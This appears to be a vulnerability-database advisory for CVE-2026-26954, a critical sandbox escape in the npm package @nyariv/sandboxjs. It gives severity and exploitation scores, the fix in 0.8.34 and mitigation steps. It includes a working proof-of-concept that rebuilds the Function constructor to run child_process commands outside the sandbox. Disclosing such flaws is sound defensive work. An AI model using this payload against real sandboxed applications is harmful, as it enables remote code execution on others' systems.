# CVE-2026-26954: @nyariv/sandboxjs RCE — Fixed in 0.8.34

📦

📦 npm

Not in CISA KEV

CRITICAL severity

# CVE-2026-26954 — @nyariv/sandboxjs

CRITICAL [Fix: nyariv/SandboxJS@e01505b](https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085)

CVE-2026-26954 is a critical-severity (CVSS 10) Code Injection vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.

SandboxJS has a Sandbox Escape

Also known as[GHSA-6r9f-759j-hjgv](/vulnerability/GHSA-6r9f-759j-hjgv)

Published

Mar 13, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-26954.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.6%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

0.00%0.37%0.73%1.10%0.1%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

10other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

`@nyariv/sandboxjs`npm

122Kdownloads / week

## Description

#### Summary

It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.

#### Details

There are various ways to get an array containing `Function`, e.g.

```
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
```

Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.

#### PoC

```
const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();
```

#### Impact

Sandbox Escape -> RCE

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

📦npm

`@nyariv/sandboxjs` 

all versions

0.8.34`npm install @nyariv/sandboxjs@0.8.34`

## Affected Products

1 product · 1 configurations

Application

`sandboxjs`nyariv

< 0.8.34

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update @nyariv/sandboxjs to 0.8.34 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26954 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
    

## Frequently Asked Questions

\### Summary It is possible to obtain arrays containing \`Function\`, which allows escaping the sandbox. ### Details There are various ways to get an array containing \`Function\`, e.g. \`\`\`js Object.entries(this).at(1) // \[ 'Function', \[Function: Function\] \] Object.values(this).slice(1, 2) // \[ \[Function: Function\] \] \`\`\` Given an array containing \`Function\`, and \`Object.fromEntries\`, it is possible to construct \`{\[p\]: Function}\` where \`p\` is any constructible property. This can be used to escape the sandbox. ### PoC \`\`\`js const s = require('.').default; const sb = new s(); payload = \` const

O3 Security · Impact-Aware SCA

### Is CVE-2026-26954 in your dependencies?

Find it across npm, including transitive dependencies.

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